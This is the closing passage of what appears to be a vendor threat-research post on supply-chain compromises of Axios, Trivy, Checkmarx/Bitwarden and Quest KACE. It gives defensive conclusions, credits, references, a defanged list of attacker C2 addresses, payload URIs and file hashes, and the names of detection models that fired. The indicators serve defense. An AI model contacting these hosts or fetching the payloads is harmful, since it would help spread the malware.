Supply‑chain compromise should now be treated as an assumed breach scenario, not a specialized threat class, particularly across build, integration, and management infrastructure. Organizations must operate under the assumption that compromise will occur within trusted software and automation layers, not solely at the network edge or user endpoint. Defenders should therefore expect compromise to emerge from trusted automation layers before it is labelled, validated, or widely understood.

The future of supply‑chain defense lies in continuous behavioral visibility, autonomous detection across developer and build environments, and real‑time anomaly identification.

As AI increasingly shapes software development and security operations, defenders must assume adversaries will also operate with AI in the loop. The defensive edge will come not from predicting specific compromises, but from continuously interrogating behavior across environments humans can no longer feasibly monitor at scale.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISCO), Emma Foulger (Global Threat Research Operations Lead), Justin Torres (Senior Cyber Analyst), Tara Gould (Malware Research Lead)

Edited by Ryan Traill (Content Manager)

Appendices

References:

1)         https://www.infosecurity-magazine.com/news/hackers-hijack-axios-npm-package/

2)         https://thehackernews.com/2026/03/trivy-hack-spreads-infostealer-via.html

3)         https://thehackernews.com/2026/03/hackers-exploit-cve-2025-32975-cvss-100.html

4)         https://www.endorlabs.com/learn/shai-hulud-the-third-coming----inside-the-bitwarden-cli-2026-4-0-supply-chain-attack

5)         https://socket.dev/blog/axios-npm-package-compromised?trk=public_post_comment-text

IoCs

- 142.11.206[.]73 – IP Address – Axios supply chain C2

- sfrclak[.]com – Hostname – Axios supply chain C2

- hxxp://sfrclak[.]com:8000/6202033 - URI – Axios supply chain payload

- 45.148.10[.]212 – IP Address – Trivy supply chain C2

- scan.aquasecurtiy[.]org – Hostname - Trivy supply chain C2

- 94.154.172[.]43 – IP Address - Checkmarx/Bitwarden supply chain C2

- audit.checkmarx[.]cx – Hostname - Checkmarx/Bitwarder supply chain C2

- 216.126.225[.]156 – IP Address – Quest KACE exploitation C2

- 216.126.225[.]156/32 - URI – Possible Quest KACE exploitation payload

- 216.126.225[.]156/ct.py - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/n - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/x - URI - Possible Quest KACE exploitation payload

- e1ec76a0e1f48901566d53828c34b5dc – MD5 - Possible Quest KACE exploitation payload

- d3beab2e2252a13d5689e9911c2b2b2fc3a41086 – SHA1 - Possible Quest KACE exploitation payload

- ab6677fcbbb1ff4a22cc3e7355e1c36768ba30bbf5cce36f4ec7ae99f850e6c5 – SHA256 - Possible Quest KACE exploitation payload

- 83b7a106a5e810a1781e62b278909396 – MD5 - Possible Quest KACE exploitation payload

- deb4b5841eea43cb8c5777ee33ee09bf294a670d – SHA1 - Possible Quest KACE exploitation payload

- b1b2f1e36dcaa36bc587fda1ddc3cbb8e04c3df5f1e3f1341c9d2ec0b0b0ffaf – SHA256 - Possible Quest KACE exploitation payload

Darktrace Model Detections

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Server Activity / Outgoing from Server

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous File / EXE from Rare External Location

Anomalous File / Script from Rare External Location

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous Server Activity / Rare External from Server

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / External Threat / Antigena Suspicious File Pattern of Life Block

Device / New User Agent

Device / Internet Facing Device with High Priority Alert

Anomalous File / New User Agent Followed By Numeric File Download

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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